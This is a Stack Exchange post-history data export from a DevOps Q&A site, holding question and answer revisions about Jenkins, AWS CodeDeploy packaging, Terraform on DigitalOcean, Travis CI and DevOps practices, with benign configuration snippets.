  <row Id="78" PostHistoryTypeId="1" PostId="31" RevisionGUID="683cd312-29db-4c70-a902-bd69b3918157" CreationDate="2017-02-28T17:16:54.077" UserId="3" Text="What are the different job permissions possible in Jenkins, and what are the reasons you would use each?" ContentLicense="CC BY-SA 3.0" />
  <row Id="79" PostHistoryTypeId="3" PostId="31" RevisionGUID="683cd312-29db-4c70-a902-bd69b3918157" CreationDate="2017-02-28T17:16:54.077" UserId="3" Text="&lt;jenkins&gt;&lt;permissions&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="80" PostHistoryTypeId="2" PostId="32" RevisionGUID="08d53e6f-1af4-45ba-b8c6-4ee33a1c312c" CreationDate="2017-02-28T17:16:59.790" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="81" PostHistoryTypeId="1" PostId="32" RevisionGUID="08d53e6f-1af4-45ba-b8c6-4ee33a1c312c" CreationDate="2017-02-28T17:16:59.790" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="82" PostHistoryTypeId="2" PostId="33" RevisionGUID="c8ce78ee-18a6-44db-ad8f-6e75fb292131" CreationDate="2017-02-28T17:16:59.790" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="83" PostHistoryTypeId="1" PostId="33" RevisionGUID="c8ce78ee-18a6-44db-ad8f-6e75fb292131" CreationDate="2017-02-28T17:16:59.790" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="85" PostHistoryTypeId="2" PostId="35" RevisionGUID="f009e296-a738-4ab8-a9c0-8f96bcfacd18" CreationDate="2017-02-28T17:18:29.833" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="86" PostHistoryTypeId="1" PostId="35" RevisionGUID="f009e296-a738-4ab8-a9c0-8f96bcfacd18" CreationDate="2017-02-28T17:18:29.833" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="87" PostHistoryTypeId="2" PostId="36" RevisionGUID="dd5293d5-67d1-4051-b0b4-0f01718145e4" CreationDate="2017-02-28T17:18:29.833" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="88" PostHistoryTypeId="1" PostId="36" RevisionGUID="dd5293d5-67d1-4051-b0b4-0f01718145e4" CreationDate="2017-02-28T17:18:29.833" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="89" PostHistoryTypeId="2" PostId="37" RevisionGUID="37924d2e-77bc-4386-9b6a-e24f8dc725c5" CreationDate="2017-02-28T17:20:11.190" UserId="36" Text="My build process packages my application in a `.nupkg` instead of a `.zip`. &#xD;&#xA;&#xD;&#xA;Assuming my .nupkg contains a [correctly-implemented][1] `appspec.yml` and is otherwise appropriately bundled, can my deployment revision use it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/codedeploy/latest/userguide/app-spec-ref.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="90" PostHistoryTypeId="1" PostId="37" RevisionGUID="37924d2e-77bc-4386-9b6a-e24f8dc725c5" CreationDate="2017-02-28T17:20:11.190" UserId="36" Text="Can I package my application in a .nupkg when creating an application revision in AWS CodeDeploy?" ContentLicense="CC BY-SA 3.0" />
  <row Id="91" PostHistoryTypeId="3" PostId="37" RevisionGUID="37924d2e-77bc-4386-9b6a-e24f8dc725c5" CreationDate="2017-02-28T17:20:11.190" UserId="36" Text="&lt;amazon-web-services&gt;&lt;aws-codedeploy&gt;&lt;nuget&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="92" PostHistoryTypeId="2" PostId="38" RevisionGUID="9804cdc4-bfd2-4d4e-96c1-5ce7937bd60a" CreationDate="2017-02-28T17:21:13.990" UserId="36" Text="Yes. AWS CodeDeploy bundletype is specified separately from the revision location, so you could upload a .nupkg to Amazon S3, set the bundle type to 'zip', and since a nupkg is simply an archive CodeDeploy will treat it as such and upload it to your EC2 instance.&#xD;&#xA;&#xD;&#xA;Example of creating application revision with nupkg in S3 and zip bundletype:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ZjJoI.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="93" PostHistoryTypeId="2" PostId="39" RevisionGUID="b9794cea-12fa-4003-b8c0-1c8dcb65ad08" CreationDate="2017-02-28T17:21:28.930" UserId="27" Text="Cloud-init files are essentially bootstrap codes, that run before each startup, and can - among others - modify files, set up services, create users, etc.&#xD;&#xA;&#xD;&#xA;Not all types of droplets support all functionalities of cloud-init, for example CoreOS uses it's own implementation, with a very limited subset of valid values.&#xD;&#xA;&#xD;&#xA;To use this in terraform, simply provide the cloud-init file during droplet creation:&#xD;&#xA;&#xD;&#xA;`main.tf`:&#xD;&#xA;&#xD;&#xA;    resource &quot;digitalocean_droplet&quot; &quot;web&quot; {&#xD;&#xA;      image              = &quot;coreos-stable&quot;&#xD;&#xA;      name               = &quot;web&quot;&#xD;&#xA;      region             = &quot;lon1&quot;&#xD;&#xA;      size               = &quot;2gb&quot;&#xD;&#xA;      private_networking = true&#xD;&#xA;      ssh_keys           = [&quot;${digitalocean_ssh_key.dodemo.id}&quot;]&#xD;&#xA;      user_data          = &quot;${file(&quot;web.conf&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;`web.conf`:&#xD;&#xA;&#xD;&#xA;    #cloud-config&#xD;&#xA;    coreos:&#xD;&#xA;      units:&#xD;&#xA;        - name: &quot;etcd2.service&quot;&#xD;&#xA;          command: &quot;start&quot;&#xD;&#xA;        - name: &quot;fleet.service&quot;&#xD;&#xA;          command: &quot;start&quot;&#xD;&#xA;&#xD;&#xA;This will for example create a droplet, where CoreOS will run etcd2 and fleet during startup&#xD;&#xA;&#xD;&#xA;You can find some more examples [in this repository][1], where I show how one can use these configuration options to set up some simple docker based services on CoreOS&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/sztupy/doclusterdemo/tree/master/terraform" ContentLicense="CC BY-SA 3.0" />
  <row Id="94" PostHistoryTypeId="2" PostId="40" RevisionGUID="baf5bf7d-785a-4f02-9aef-8c9327cce9b4" CreationDate="2017-02-28T17:24:18.117" UserId="3" Text="I'm using [Promoted Builds Plugin][1] and I'd like to promote my freestyle job with Gold star when certain value in output is above threshold (e.g. above 1.00).&#xD;&#xA;&#xD;&#xA;Here is a sample output from backtesting jobs:&#xD;&#xA;&#xD;&#xA;    Pass  Profit Total trades Profit factor Expected Payoff Drawdown $ Drawdown %&#xD;&#xA;       1  622.71           76          1.38            8.19     526.77       4.94&#xD;&#xA;      10  301.09           36          1.38            8.36     526.77       4.93&#xD;&#xA;      14  240.96           62          1.18            3.89     589.60       5.60&#xD;&#xA;&#xD;&#xA;My aim is to mark build with Gold star when first line right after header line has *Profit factor* column above *1.00*, Silver star when it is below.&#xD;&#xA;&#xD;&#xA;How this can be achieved? &#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Promoted+Builds+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="95" PostHistoryTypeId="1" PostId="40" RevisionGUID="baf5bf7d-785a-4f02-9aef-8c9327cce9b4" CreationDate="2017-02-28T17:24:18.117" UserId="3" Text="How to promote build when certain value in output is above threshold?" ContentLicense="CC BY-SA 3.0" />
  <row Id="96" PostHistoryTypeId="3" PostId="40" RevisionGUID="baf5bf7d-785a-4f02-9aef-8c9327cce9b4" CreationDate="2017-02-28T17:24:18.117" UserId="3" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="97" PostHistoryTypeId="2" PostId="41" RevisionGUID="3dcd9bc2-102a-4879-a2cb-b4495b60d342" CreationDate="2017-02-28T17:24:34.003" UserId="10" Text="If your Jenkins jobs are defined in a Jenkinsfile you can store it in a git repository and have it loaded up by using [Pipeline][1].&#xD;&#xA;&#xD;&#xA;Unfortunately, since not all Jenkins plugins support Jenkinsfile and Pipeline, you will need to manually create new Jenkinsfiles if you wish to move existing jobs to this format.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/jenkinsfile/" ContentLicense="CC BY-SA 3.0" />
  <row Id="98" PostHistoryTypeId="2" PostId="42" RevisionGUID="067bcb94-f294-4649-95ab-cb8f6ff4212b" CreationDate="2017-02-28T17:24:35.060" UserId="57" Text="According to the policies of the company where I work we have dev, preprod and prod environments (on some service dev can be missing). And the path of new version preprod-&gt;tests-&gt;validation-&gt;prod.&#xD;&#xA;&#xD;&#xA;In our case jobs in preprod are heavy and complex enough to be sure we do not need to pray when implement in prod :)" ContentLicense="CC BY-SA 3.0" />
  <row Id="99" PostHistoryTypeId="2" PostId="43" RevisionGUID="704f7da6-6b30-4d60-b805-6b5b6120922a" CreationDate="2017-02-28T17:27:09.040" UserId="3" Text="I'm using [Promoted Builds Plugin][1] to assign certain icons to Jenkins jobs on certain conditions and I'd like to publish these promotion icons.&#xD;&#xA;&#xD;&#xA;How can I generate external links to these icons per each job, so they're accessible externally?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;—————&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For example I'd like to create the table in `README.md` on GitHub like:&#xD;&#xA;&#xD;&#xA;    Job 1 | ![](link_to_icon_of_job_1)&#xD;&#xA;    Job 2 | ![](link_to_icon_of_job_2)&#xD;&#xA;    Job 3 | ![](link_to_icon_of_job_3)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Promoted+Builds+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="100" PostHistoryTypeId="1" PostId="43" RevisionGUID="704f7da6-6b30-4d60-b805-6b5b6120922a" CreationDate="2017-02-28T17:27:09.040" UserId="3" Text="How to publish Jenkins job icons externally?" ContentLicense="CC BY-SA 3.0" />
  <row Id="101" PostHistoryTypeId="3" PostId="43" RevisionGUID="704f7da6-6b30-4d60-b805-6b5b6120922a" CreationDate="2017-02-28T17:27:09.040" UserId="3" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="103" PostHistoryTypeId="5" PostId="38" RevisionGUID="3e88532a-a6fa-4b8b-8112-3207f44cce5e" CreationDate="2017-02-28T17:29:29.807" UserId="36" Comment="added 486 characters in body" Text="Yes. AWS CodeDeploy bundletype is specified separately from the revision location, so you could upload a .nupkg to Amazon S3, set the bundle type to 'zip', and since a nupkg is simply an archive CodeDeploy will treat it as such and upload it to your EC2 instance.&#xD;&#xA;&#xD;&#xA;In your nuspec, make sure your appspec.yml gets placed in the root of your .nupkg. My project contains the appspec.yml and powershell scripts to manage windows services in a directory structure like this:&#xD;&#xA;&#xD;&#xA;    deploy/appspec.yml&#xD;&#xA;    deploy/lib/get.ps1&#xD;&#xA;    deploy/lib/start.ps1&#xD;&#xA;    deploy/lib/stop.ps1&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;You can include this structure at the root by simply adding this to the nuspec:&#xD;&#xA;&#xD;&#xA;    &lt;files&gt;&#xD;&#xA;      &lt;file src=&quot;deploy\**&quot; target=&quot;&quot; /&gt;&#xD;&#xA;    &lt;/files&gt;  &#xD;&#xA;&#xD;&#xA;And then after packing and outputting the nupkg, you can create the application revision as below:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ZjJoI.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="104" PostHistoryTypeId="2" PostId="44" RevisionGUID="a0e7d750-0237-4d92-ba9c-d8dd947df877" CreationDate="2017-02-28T17:29:36.040" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="105" PostHistoryTypeId="1" PostId="44" RevisionGUID="a0e7d750-0237-4d92-ba9c-d8dd947df877" CreationDate="2017-02-28T17:29:36.040" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="106" PostHistoryTypeId="2" PostId="45" RevisionGUID="ab621c9b-516e-4074-a937-1213f29cd883" CreationDate="2017-02-28T17:29:36.040" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="107" PostHistoryTypeId="1" PostId="45" RevisionGUID="ab621c9b-516e-4074-a937-1213f29cd883" CreationDate="2017-02-28T17:29:36.040" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="108" PostHistoryTypeId="2" PostId="46" RevisionGUID="240fb117-741e-4cf5-98ed-d8c29e00bc98" CreationDate="2017-02-28T17:29:43.733" UserId="72" Text="DevOps tends to break down across three major dimensions:&#xD;&#xA;&#xD;&#xA;**Culture**  &#xD;&#xA;DevOps culture emphasizes high levels of trust, collaboration and communication between *all* stakeholders, especially Dev, Ops, and Security.  The natural tension and competition between these groups creates friction, and often dysfunction.  DevOps is (arguably) first and foremost about aligning efforts between these teams.  &#xD;&#xA;&#xD;&#xA;**Process**  &#xD;&#xA;DevOps development processes align closely to Agile processes.  Ops is encouraged to take up Agile-like practices to better align to Dev efforts.  DevOps-aligned processes are designed to support high velocity and fast feedback loops throughout the development/delivery lifecycles.  Continuous Integration, Continuous Delivery, and Continuous Improvement (kaizen) are focus areas of DevOps process.&#xD;&#xA;&#xD;&#xA;**Technology**  &#xD;&#xA;DevOps isn't a tool, but it is supported by tools.  There are whole families of tools supporting a range of areas including Continuous Integration, Source Control, and Application Lifecycle Management.&#xD;&#xA;&#xD;&#xA;A &quot;DevOps Transformation&quot; must address elements of all three, but not necessarily all equally at the same time.  There is a natural progression and &quot;critical path&quot; for transformation.  The argument could be made, for example, DevOps is dependent on some form of Agile practice, at least within the Development team/teams.  Issues with culture may need to be addressed before investment is made in tooling.&#xD;&#xA;&#xD;&#xA;References:  &#xD;&#xA;Culture: https://www.andykelk.net/devops/using-the-westrum-typology-to-measure-culture  &#xD;&#xA;Technology: https://xebialabs.com/periodic-table-of-devops-tools/" ContentLicense="CC BY-SA 3.0" />
  <row Id="109" PostHistoryTypeId="2" PostId="47" RevisionGUID="7a40f034-727d-47a5-a539-2d77da85102b" CreationDate="2017-02-28T17:30:26.423" UserId="3" Text="I'd like to connect a build node to the Jenkins master. Ideally without using a web browser or being in front of the physical machine. What would be the easiest way to achieve that?" ContentLicense="CC BY-SA 3.0" />
  <row Id="110" PostHistoryTypeId="1" PostId="47" RevisionGUID="7a40f034-727d-47a5-a539-2d77da85102b" CreationDate="2017-02-28T17:30:26.423" UserId="3" Text="How do you connect a build node to the Jenkins master?" ContentLicense="CC BY-SA 3.0" />
  <row Id="111" PostHistoryTypeId="3" PostId="47" RevisionGUID="7a40f034-727d-47a5-a539-2d77da85102b" CreationDate="2017-02-28T17:30:26.423" UserId="3" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="112" PostHistoryTypeId="2" PostId="48" RevisionGUID="42a6d8a8-bfbd-4e5c-ae05-713728c823bd" CreationDate="2017-02-28T17:30:39.193" UserId="17" Text="How do devops deals with release management?&#xD;&#xA;&#xD;&#xA;Is release management is the part of devops lifecycle?&#xD;&#xA;&#xD;&#xA;Do devops take active part in release management or the organization has hire to another professional altogether." ContentLicense="CC BY-SA 3.0" />
  <row Id="113" PostHistoryTypeId="1" PostId="48" RevisionGUID="42a6d8a8-bfbd-4e5c-ae05-713728c823bd" CreationDate="2017-02-28T17:30:39.193" UserId="17" Text="Relation of devops with release management" ContentLicense="CC BY-SA 3.0" />
  <row Id="114" PostHistoryTypeId="3" PostId="48" RevisionGUID="42a6d8a8-bfbd-4e5c-ae05-713728c823bd" CreationDate="2017-02-28T17:30:39.193" UserId="17" Text="&lt;release-management&gt;&lt;release&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="115" PostHistoryTypeId="2" PostId="49" RevisionGUID="3affa94c-701f-4a06-8d7f-efa61665ec87" CreationDate="2017-02-28T17:30:47.817" UserId="13" Text="I'm curious about a matrix like comparison on security/ease of management/forensic ability for each type of server. I may forget some more key features of each type also.&#xD;&#xA;&#xD;&#xA;I've a general idea about the types but a reference matrix would be of help when choosing between them on some cases (when the automation become complex for the application for example).&#xD;&#xA;&#xD;&#xA;To avoid concern about it being too broad, I feel that splitting it in multiples question would scatter the information and that a question about security comparison would need to compare each type also." ContentLicense="CC BY-SA 3.0" />
  <row Id="116" PostHistoryTypeId="1" PostId="49" RevisionGUID="3affa94c-701f-4a06-8d7f-efa61665ec87" CreationDate="2017-02-28T17:30:47.817" UserId="13" Text="What are the pro and cons of SnowFlakes Servers, Phoenix Servers and Immutable Servers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="117" PostHistoryTypeId="3" PostId="49" RevisionGUID="3affa94c-701f-4a06-8d7f-efa61665ec87" CreationDate="2017-02-28T17:30:47.817" UserId="13" Text="&lt;servers&gt;&lt;architecture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="118" PostHistoryTypeId="2" PostId="50" RevisionGUID="f4349feb-a3ab-4af4-b33a-ed2f1fdcafad" CreationDate="2017-02-28T17:31:51.693" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="119" PostHistoryTypeId="1" PostId="50" RevisionGUID="f4349feb-a3ab-4af4-b33a-ed2f1fdcafad" CreationDate="2017-02-28T17:31:51.693" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="120" PostHistoryTypeId="2" PostId="51" RevisionGUID="4d010925-ce51-430d-9bad-efdc797ed832" CreationDate="2017-02-28T17:31:51.693" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="121" PostHistoryTypeId="1" PostId="51" RevisionGUID="4d010925-ce51-430d-9bad-efdc797ed832" CreationDate="2017-02-28T17:31:51.693" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="122" PostHistoryTypeId="2" PostId="52" RevisionGUID="323468ab-cd6b-43cc-a461-6b38cf0fb25f" CreationDate="2017-02-28T17:33:27.083" UserId="45" Text="Number of commits.&#xD;&#xA;&#xD;&#xA;Jenkins is a fork of Hudson (as commented [here](http://devops.stackexchange.com/questions/7/why-has-hudson-been-renamed-to-jenkins)) but has a more active development, Hudson's [last commit](http://git.eclipse.org/c/hudson/org.eclipse.hudson.core.git/log/) is quite old.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="123" PostHistoryTypeId="2" PostId="53" RevisionGUID="67d1bd48-2507-46f4-b216-eb49425b07df" CreationDate="2017-02-28T17:33:34.193" UserId="3" Text="The current list of Jenkins jobs has 4 columns: *Name*, *Last Success*, *Last Failure*, *Last Duration*.&#xD;&#xA;&#xD;&#xA;Is there any way to add a new column which would have some custom value extracted from the job?" ContentLicense="CC BY-SA 3.0" />
  <row Id="124" PostHistoryTypeId="1" PostId="53" RevisionGUID="67d1bd48-2507-46f4-b216-eb49425b07df" CreationDate="2017-02-28T17:33:34.193" UserId="3" Text="How to add a new column with custom value extracted from the job?" ContentLicense="CC BY-SA 3.0" />
  <row Id="125" PostHistoryTypeId="3" PostId="53" RevisionGUID="67d1bd48-2507-46f4-b216-eb49425b07df" CreationDate="2017-02-28T17:33:34.193" UserId="3" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="126" PostHistoryTypeId="6" PostId="2" RevisionGUID="e65e1c51-6989-447c-a006-d8034ef554b3" CreationDate="2017-02-28T17:34:18.037" UserId="77" Comment="adding the essential AWS tag" Text="&lt;aws&gt;&lt;amazon-s3&gt;&lt;storage&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="127" PostHistoryTypeId="24" PostId="2" RevisionGUID="e65e1c51-6989-447c-a006-d8034ef554b3" CreationDate="2017-02-28T17:34:18.037" Comment="Proposed by 77 approved by -1 edit id of 11" ContentLicense="CC BY-SA 3.0" />
  <row Id="128" PostHistoryTypeId="6" PostId="2" RevisionGUID="96d46f73-f260-4750-a877-92b0ce9cac96" CreationDate="2017-02-28T17:34:18.037" UserId="3" Comment="adding the essential AWS tag" Text="&lt;amazon-s3&gt;&lt;storage&gt;&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="129" PostHistoryTypeId="5" PostId="40" RevisionGUID="c51a5801-1b8f-4d38-bdbb-4a19bb83ee1a" CreationDate="2017-02-28T17:34:28.890" UserId="2" Comment="grammar fix" Text="I'm using [Promoted Builds Plugin][1] and I'd like to promote my freestyle job with Gold star when certain value in output is above threshold (e.g. above 1.00).&#xD;&#xA;&#xD;&#xA;Here is a sample output from backtesting jobs:&#xD;&#xA;&#xD;&#xA;    Pass  Profit Total trades Profit factor Expected Payoff Drawdown $ Drawdown %&#xD;&#xA;       1  622.71           76          1.38            8.19     526.77       4.94&#xD;&#xA;      10  301.09           36          1.38            8.36     526.77       4.93&#xD;&#xA;      14  240.96           62          1.18            3.89     589.60       5.60&#xD;&#xA;&#xD;&#xA;My aim is to mark build with Gold star when first line right after header line has *Profit factor* column above *1.00*, Silver star when it is below.&#xD;&#xA;&#xD;&#xA;How can this be achieved? &#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Promoted+Builds+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="130" PostHistoryTypeId="24" PostId="40" RevisionGUID="c51a5801-1b8f-4d38-bdbb-4a19bb83ee1a" CreationDate="2017-02-28T17:34:28.890" Comment="Proposed by 2 approved by 3 edit id of 12" ContentLicense="CC BY-SA 3.0" />
  <row Id="131" PostHistoryTypeId="5" PostId="38" RevisionGUID="2bd229b1-4187-4b4f-afd9-80cc7d9b65f5" CreationDate="2017-02-28T17:34:37.370" UserId="36" Comment="added 486 characters in body" Text="Yes. AWS CodeDeploy bundletype is specified separately from the revision location, so you could upload a .nupkg to Amazon S3, set the bundle type to 'zip', and since a nupkg is simply an archive CodeDeploy will treat it as such and upload it to your EC2 instance.&#xD;&#xA;&#xD;&#xA;In your nuspec, make sure your appspec.yml gets placed in the root of your .nupkg. My project contains the appspec.yml and powershell scripts to manage windows services in a directory structure like this:&#xD;&#xA;&#xD;&#xA;    deploy/appspec.yml&#xD;&#xA;    deploy/lib/get.ps1&#xD;&#xA;    deploy/lib/start.ps1&#xD;&#xA;    deploy/lib/stop.ps1&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;You can include this structure at the root by simply recursively retrieving this directory structure (via double wildcards `**`) in the nuspec files element:&#xD;&#xA;&#xD;&#xA;    &lt;files&gt;&#xD;&#xA;      &lt;file src=&quot;deploy\**&quot; target=&quot;&quot; /&gt;&#xD;&#xA;    &lt;/files&gt;  &#xD;&#xA;&#xD;&#xA;And then after packing and outputting the nupkg, you can create the application revision as below:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ZjJoI.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="133" PostHistoryTypeId="2" PostId="54" RevisionGUID="d186b511-47dc-4d58-8f8b-b95590c75734" CreationDate="2017-02-28T17:35:11.690" UserId="10" Text="My team is currently trying to decide if we should deploy our nodejs app as a deb package instead of trying to run it in a container like docker.&#xD;&#xA;&#xD;&#xA;This blog [here][1] makes some good arguments for using a deb package for a pre-existing python application. However, what are the drawbacks if creating a new project from scratch in another language such as NodeJs?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://nylas.com/blog/packaging-deploying-python/" ContentLicense="CC BY-SA 3.0" />
  <row Id="134" PostHistoryTypeId="1" PostId="54" RevisionGUID="d186b511-47dc-4d58-8f8b-b95590c75734" CreationDate="2017-02-28T17:35:11.690" UserId="10" Text="What are the drawbacks of creating a deb package to deploy an application?" ContentLicense="CC BY-SA 3.0" />
  <row Id="135" PostHistoryTypeId="3" PostId="54" RevisionGUID="d186b511-47dc-4d58-8f8b-b95590c75734" CreationDate="2017-02-28T17:35:11.690" UserId="10" Text="&lt;deployment&gt;&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="139" PostHistoryTypeId="2" PostId="56" RevisionGUID="da8f1c3b-f2b1-407b-bdc6-5faf9a50d5b6" CreationDate="2017-02-28T17:35:53.943" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="140" PostHistoryTypeId="1" PostId="56" RevisionGUID="da8f1c3b-f2b1-407b-bdc6-5faf9a50d5b6" CreationDate="2017-02-28T17:35:53.943" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="141" PostHistoryTypeId="2" PostId="57" RevisionGUID="f02e3f93-657e-45ab-b068-4d59398e0c52" CreationDate="2017-02-28T17:35:53.943" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="142" PostHistoryTypeId="1" PostId="57" RevisionGUID="f02e3f93-657e-45ab-b068-4d59398e0c52" CreationDate="2017-02-28T17:35:53.943" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="143" PostHistoryTypeId="2" PostId="58" RevisionGUID="cdfd39f0-4942-45ff-b34b-947b7e5219ed" CreationDate="2017-02-28T17:36:48.743" UserId="3" Text="I've the installer in EXE format ([`mt5setup.exe`][1]) and I'd like to download it and automate the installation process on Appveyor CI. On Linux I would normally use [xdotool][2].&#xD;&#xA;&#xD;&#xA;Since this installer doesn't have any silent flags to use, how can I automate the installation process headlessly?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.metatrader5.com/en/download&#xD;&#xA;  [2]: http://www.semicomplete.com/projects/xdotool/" ContentLicense="CC BY-SA 3.0" />
  <row Id="144" PostHistoryTypeId="1" PostId="58" RevisionGUID="cdfd39f0-4942-45ff-b34b-947b7e5219ed" CreationDate="2017-02-28T17:36:48.743" UserId="3" Text="How to automate installation of Windows installer on Appveyor CI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="145" PostHistoryTypeId="3" PostId="58" RevisionGUID="cdfd39f0-4942-45ff-b34b-947b7e5219ed" CreationDate="2017-02-28T17:36:48.743" UserId="3" Text="&lt;automation&gt;&lt;appveyor&gt;&lt;installation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="146" PostHistoryTypeId="2" PostId="59" RevisionGUID="2c7d5cab-ef70-4687-8e49-582e9e4ef486" CreationDate="2017-02-28T17:38:21.773" UserId="3" Text="I'd like to deploy files using Travis CI and it only works for a tagged commit. When committing to the branch, there is a warning:&#xD;&#xA;&#xD;&#xA;&gt; Skipping a deployment with the releases provider because this is not a tagged commit.&#xD;&#xA;&#xD;&#xA;Is there any way to deploy on branched commit using Travis CI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="147" PostHistoryTypeId="1" PostId="59" RevisionGUID="2c7d5cab-ef70-4687-8e49-582e9e4ef486" CreationDate="2017-02-28T17:38:21.773" UserId="3" Text="Is it possible to make a deployment using Travis CI on GitHub commit to the branch?" ContentLicense="CC BY-SA 3.0" />
  <row Id="148" PostHistoryTypeId="3" PostId="59" RevisionGUID="2c7d5cab-ef70-4687-8e49-582e9e4ef486" CreationDate="2017-02-28T17:38:21.773" UserId="3" Text="&lt;git&gt;&lt;release&gt;&lt;deployment&gt;&lt;travis-ci&gt;&lt;github&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="149" PostHistoryTypeId="2" PostId="60" RevisionGUID="069a57d0-92f7-4398-a166-62d0925133fd" CreationDate="2017-02-28T17:39:34.247" UserId="15" Text="[Teams on Digital Ocean][1] are very recent and there is no documentation about using them with [Terraform][2].&#xD;&#xA;&#xD;&#xA;All information I can found is how to work with them [manually][3].&#xD;&#xA;&#xD;&#xA;I was hoping that I could say something like:&#xD;&#xA;&#xD;&#xA;    resource &quot;digitalocean_droplet&quot; &quot;host&quot; {&#xD;&#xA;        image = &quot;${var.image}&quot;&#xD;&#xA;        name = &quot;${var.host_name}&quot;&#xD;&#xA;        region = &quot;${var.region}&quot;&#xD;&#xA;        size = &quot;${var.size}&quot;&#xD;&#xA;        private_networking = &quot;${var.private_networking}&quot;&#xD;&#xA;        ssh_keys = [&quot;${var.ssh_fingerprint}&quot;]&#xD;&#xA;        team = &quot;${var.team}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Note the `team = &quot;${var.team}&quot;` at the end.&#xD;&#xA;&#xD;&#xA;Since Terraform is just a wrapper on the top of the provider APIs I looked at the [documentation][4] trying to find some endpoint of field about this but found nothing.&#xD;&#xA;&#xD;&#xA;How should I use Digital Ocean teams with Terraform? Or I am stuck with the `main` account if I want to automate things with Terraform?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.digitalocean.com/products/teams/&#xD;&#xA;  [2]: https://www.terraform.io/&#xD;&#xA;  [3]: https://www.digitalocean.com/community/tutorials/how-to-use-teams-on-digitalocean&#xD;&#xA;  [4]: https://developers.digitalocean.com/documentation/v2/" ContentLicense="CC BY-SA 3.0" />
  <row Id="150" PostHistoryTypeId="1" PostId="60" RevisionGUID="069a57d0-92f7-4398-a166-62d0925133fd" CreationDate="2017-02-28T17:39:34.247" UserId="15" Text="How to create a host on a DigitalOcean team with Terraform?" ContentLicense="CC BY-SA 3.0" />
  <row Id="151" PostHistoryTypeId="3" PostId="60" RevisionGUID="069a57d0-92f7-4398-a166-62d0925133fd" CreationDate="2017-02-28T17:39:34.247" UserId="15" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
